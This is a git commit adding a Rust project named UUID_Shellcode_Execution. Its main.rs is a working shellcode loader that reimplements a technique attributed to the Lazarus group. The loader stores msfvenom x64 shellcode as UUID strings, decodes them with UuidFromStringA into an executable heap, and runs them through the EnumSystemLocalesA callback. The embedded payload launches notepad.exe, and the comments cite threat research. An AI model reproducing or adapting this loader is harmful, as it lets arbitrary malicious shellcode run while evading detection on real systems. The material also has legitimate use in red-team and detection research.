UUID_Shellcode_Execution is added.

This commit is contained in:
Furkan Ayar
2021-10-20 11:12:24 +03:00
parent 7858be9ada
commit 320c6fd1a3
5 changed files with 116 additions and 0 deletions
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[package]
name = "UUID_Shellcode_Execution"
version = "0.1.0"
author = "Furkan Ayar ( @frknayar )"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
bindings = { path = "bindings" }
windows = { version = "0.21.1" }
winapi = {version = "0.3.9", features = ["heapapi","handleapi","winnls","winnt","rpcdce"]}
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[package]
name = "bindings"
version = "0.0.0"
edition = "2018"
[dependencies]
windows = "0.21.1"
[build-dependencies]
windows = "0.21.1"
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fn main() {
windows::build! {
Windows::Win32::System::Rpc::{UuidFromStringA, RPC_STATUS}
};
}
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windows::include_bindings!();
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/*
Author: Furkan Ayar, Twitter: @frknayar
License: BSD 3-Clause
This is Rust implementation of UUID Shellcode execution from HEAP memory area which has been seen in the wild by lazarus loader.
References:
- https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
- https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/
- https://gist.github.com/rxwx/c5e0e5bba8c272eb6daa587115ae0014#file-uuid-c
*/
extern crate winapi;
extern crate bindings;
extern crate windows;
use std::str;
use std::process;
use std::mem::transmute;
use std::ffi::CString;
use winapi::um::heapapi::{HeapCreate, HeapAlloc};
use winapi::um::handleapi::CloseHandle;
use winapi::um::winnls::{EnumSystemLocalesA, LOCALE_ENUMPROCA};
use winapi::um::winnt::{HEAP_CREATE_ENABLE_EXECUTE};
use winapi::shared::basetsd::DWORD_PTR;
use winapi::shared::ntstatus::STATUS_SUCCESS;
use windows::Guid;
use bindings::Windows::Win32::System::Rpc::{RPC_STATUS, UuidFromStringA};
fn main() {
println!("[*] UUID Shellcode Execution");
// msfvenom -a x64 -p windows/x64/exec CMD=notepad.exe EXITFUNC=thread
const SIZE: usize = 18;
let uuidarr: [&str; SIZE] = [
"e48348fc-e8f0-00c0-0000-415141505251",
"d2314856-4865-528b-6048-8b5218488b52",
"728b4820-4850-b70f-4a4a-4d31c94831c0",
"7c613cac-2c02-4120-c1c9-0d4101c1e2ed",
"48514152-528b-8b20-423c-4801d08b8088",
"48000000-c085-6774-4801-d0508b481844",
"4920408b-d001-56e3-48ff-c9418b348848",
"314dd601-48c9-c031-ac41-c1c90d4101c1",
"f175e038-034c-244c-0845-39d175d85844",
"4924408b-d001-4166-8b0c-48448b401c49",
"8b41d001-8804-0148-d041-5841585e595a",
"59415841-5a41-8348-ec20-4152ffe05841",
"8b485a59-e912-ff57-ffff-5d48ba010000",
"00000000-4800-8d8d-0101-000041ba318b",
"d5ff876f-e0bb-2a1d-0a41-baa695bd9dff",
"c48348d5-3c28-7c06-0a80-fbe07505bb47",
"6a6f7213-5900-8941-daff-d56e6f746570",
"652e6461-6578-0000-0000-000000000000" ];
unsafe {
// Creating and Allocating Heap Memory
println!("[*] Allocating Heap Memory");
let h_heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
let h_addr = HeapAlloc(h_heap, 0, 0x100000);
let mut p_addr = h_addr as DWORD_PTR;
if p_addr != STATUS_SUCCESS as usize {
println!("[+] Heap Memory is Allocated at {:#x}", p_addr);
} else {
println!("[-] Heap Alloc Error !");
process::exit(0x0001);
}
println!("[*] UUID Array size is {}", SIZE);
// Planting Shellcode From UUID Array onto Allocated Heap Memory
for i in 0..SIZE {
let cstr = CString::new(uuidarr[i]).unwrap();
let g_addr = cstr.as_ptr() as *mut u8;
let status: RPC_STATUS = UuidFromStringA(g_addr, p_addr as *mut Guid);
if status != RPC_STATUS::from(0) {
if status == RPC_STATUS::from(1705) {
println!("[-] Invalid UUID String Detected at {:?}", g_addr);
process::exit(0x0001);
} else {
println!("[-] Something Went Wrong, Error Code: {:?}", status);
}
}
p_addr += 16;
}
println!("[+] Shellcode is successfully placed between {:#x} and {:#x}", h_addr as DWORD_PTR, p_addr);
// Calling the Callback Function
println!("[*] Calling the Callback Function ...");
EnumSystemLocalesA(transmute::<*mut winapi::ctypes::c_void, LOCALE_ENUMPROCA>(h_addr), 0);
CloseHandle(h_heap);
process::exit(0x0000);
}
}